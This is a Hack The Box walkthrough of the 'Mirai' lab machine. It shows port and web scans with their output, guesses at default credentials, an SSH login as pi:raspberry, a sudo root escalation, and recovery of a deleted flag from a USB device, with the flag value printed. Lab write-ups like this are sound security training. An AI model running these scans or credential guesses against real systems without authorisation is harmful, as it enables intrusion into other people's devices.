7 minute read

Mirai Logo

Welcome to this walkthrough for the Hack The Box machine Mirai. This one is listed as an ‘easy’ box and has also been retired, so access is only provided to those that have purchased VIP access to HTB. Because of this, you may notice that it is necessary to be connected to HTB’s VIP VPN server, rather than the free server. To do this, change the dropdown selection in the top right corner where you select “Connect” to “VIP” and download the .ovpn package (yes, even as a paid user, you must toggle between free and paid VPN packages depending on the machine).


Scanning & Enumeration

I went ahead and started my NMap scan and then plugged the IP address into the browser to check for HTTP and HTTPS respectfully: 10.10.10.48:80 & 10.10.10.48:443

Port 80 loaded a blank web page, so I initiated a directory scan and Nikto web-server/CGI scan as well.

sudo nmap -sS -A -sV -T5 -p- 10.10.10.48 | tee nmap_full.txt
dirb http://10.10.10.48/ /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt | tee dirb.log
nikto -h "http://10.10.10.48/" | tee nikto.log 

NMap Results

22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)

53/tcp    open  domain  dnsmasq 2.76
| dns-nsid: 
|_  bind.version: dnsmasq-2.76

80/tcp    open  http    lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35

1094/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)

32400/tcp open  http    Plex Media Server httpd
|_http-title: Unauthorized
|_http-favicon: Plex
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-cors: HEAD GET POST PUT DELETE OPTIONS

32469/tcp open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)

Nikto Results

PORT 80

+ Server: lighttpd/1.4.35
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-pi-hole' found, with contents: A black hole for Internet advertisements.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
PORT 32400

+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-plex-protocol' found, with contents: 1.0
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ /clientaccesspolicy.xml contains a full wildcard entry. See http://msdn.microsoft.com/en-us/library/cc197955(v=vs.95).aspx
+ /clientaccesspolicy.xml contains 12 lines which should be manually viewed for improper domains or wildcards.
+ /crossdomain.xml contains a full wildcard entry. See http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.html
+ Server is using a wildcard certificate: *.78063b2b367a4a389895262d75b0b03c.plex.direct
+ Hostname '10.10.10.48' does not match certificate's names: *.78063b2b367a4a389895262d75b0b03c.plex.direct
+ Retrieved access-control-allow-origin header: *
+ OSVDB-39272: /favicon.ico file identifies this app/server as: Plex Media Server
+ Uncommon header 'x-plex-content-compressed-length' found, with contents: 157
+ Uncommon header 'x-plex-content-original-length' found, with contents: 193
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ /webmail/: Web based mail package installed.

Dirb Results

PORT 80

==> DIRECTORY: http://10.10.10.48/admin/
+ http://10.10.10.48/versions (CODE:200|SIZE:13)

PORT 32400 

~ Hundreds of results returning as existing but unable to access them -- false positive?

Port 80 - Pi-Hole

As we see from our NMap scan results, 10.10.10.48:80 doesn’t have a title and after inspecting the page, appears entirely blank.

After navigating to 10.10.10.48/admin/ (and nearly a timeout attempting to do so), we find a login portal for Pi-hole.

Note: Tracking these requests via Burp, we see a Set-Cookie PHPSESSID response from /admin/

Pi-Hole Login Portal

Additionally, we are able to grab some version numbers.

With simple OSINT we find default credentials for a Pi-hole user (a Raspberry-Pi device) are:

pi:raspberry

But, as we can see by clicking Forgot Password, a password is uniquely generated each time the software is installed for a user.

However, it gives us the console command to change that password :

sudo pihole -a -p

Which then prompts you for a new password in the terminal.

However, we do not currently have user access.

I did some info. gathering on Pi-hole and learned a lot about it.

Essentially, Pi-hole is a Raspberry-Pi based Linux application that serves as a network level ad-blocker via DNS.

In one demonstration, I learned that Pi-hole can be accessed locally, via the web, or over SSH… an active service on this box.

Port 32400 - Plex Media Server

When navigating to 10.10.10.48:32400, we are redirected to 10.10.10.48:32400/web/index.html which is a login page for Plex.

Plex Media Server Login

Plex Media Server, developed by Plex, Inc., is used to organize and host audio, videos and photos in a client-server fashion which allows connected devices to stream media.

I tried some default credentials here:

admin:admin
admin:password
root:root
root:toor

But nothing went through, so I referred back to my Nikto scan.

Trying to navigate to /webmail/ was not fruitful, and the tip on performing a BREACH attack was not helpful. Read more on BREACH attacks here.

Short answer: BREACH attacks require a victim to initiate them.

Trying to visit other directories on this port most often loaded a blank XML file.

Initial Access via SSH

Without overworking the web-enumeration (as this is an easy box), I decided to try the default Raspberry-Pi credentials over SSH.

ssh pi@10.10.10.48

The authenticity of host '10.10.10.48 (10.10.10.48)' can't be established.
ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.48' (ED25519) to the list of known hosts.
pi@10.10.10.48's password: raspberry

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~ $

Alright, so we have access to the user pi on the host raspberrypi.

User Flag

Navigate to ~/Desktop for the User Flag:

cat ~/Desktop/user.txt

Privilege Escalation

I escalated to root almost immediately by changing my current user to super-user :

sudo su

root@raspberrypi: 

Post-Exploit Enumeration - Root

Navigating to /root/ for the flag, we encounter a different puzzle :

root@raspberrypi:/tmp# cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...

Locating USB

So it appears we need to find the USB in order to get the flag. To detect it, run the following command :

root@raspberrypi:/tmp# lsblk

NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   10G  0 disk 
├─sda1   8:1    0  1.3G  0 part /lib/live/mount/persistence/sda1
└─sda2   8:2    0  8.7G  0 part /lib/live/mount/persistence/sda2
sdb      8:16   0   10M  0 disk /media/usbstick
sr0     11:0    1 1024M  0 rom  
loop0    7:0    0  1.2G  1 loop /lib/live/mount/rootfs/filesystem.squashfs

Alright, awesome. So we found the stick and it’s already mounted to a directory for us (/media/usbstick).

Note: If it wasn’t already mounted, we could easily do that by making a new directory and using the mount command :

sudo mkdir /media/usb
sudo mount /dev/sdb /media/usb

Exploring USB - Root Flag

So, we have found the directory we need which has a text file in it :

root@raspberrypi:/media/usbstick# ls

damnit.txt  lost+found
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James

Great, more hunting. Thanks, James.

I tried many different types of enumeration before getting this final flag.
Initially I tried looking for deleted files via inodes in /dev/sdb :

root@raspberrypi:/media/usbstick# debugfs /dev/sdb
debugfs 1.42.12 (29-Aug-2014)
debugfs:  lsdel

But this returned zero results (if it did hit, you can them retrieve the deleted files via: dump filename) :

Debugfs Deleted Inodes /sdb

I also hosted a bundle of TestDisk + PhotoRec for Linux and downloaded it but couldn’t get it to fire off right.

Putting my CTF cap on, I started running commands to identify more information about the file: file, strings, etc.

Until I reached a breakthrough, running the strings command on the disk itself :

root@raspberrypi:/media/usbstick# strings /dev/sdb

>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James

And there you have it, the root.txt flag!